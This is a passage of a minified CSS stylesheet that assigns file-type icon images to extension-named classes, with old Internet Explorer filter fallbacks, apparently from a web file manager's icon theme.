\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none 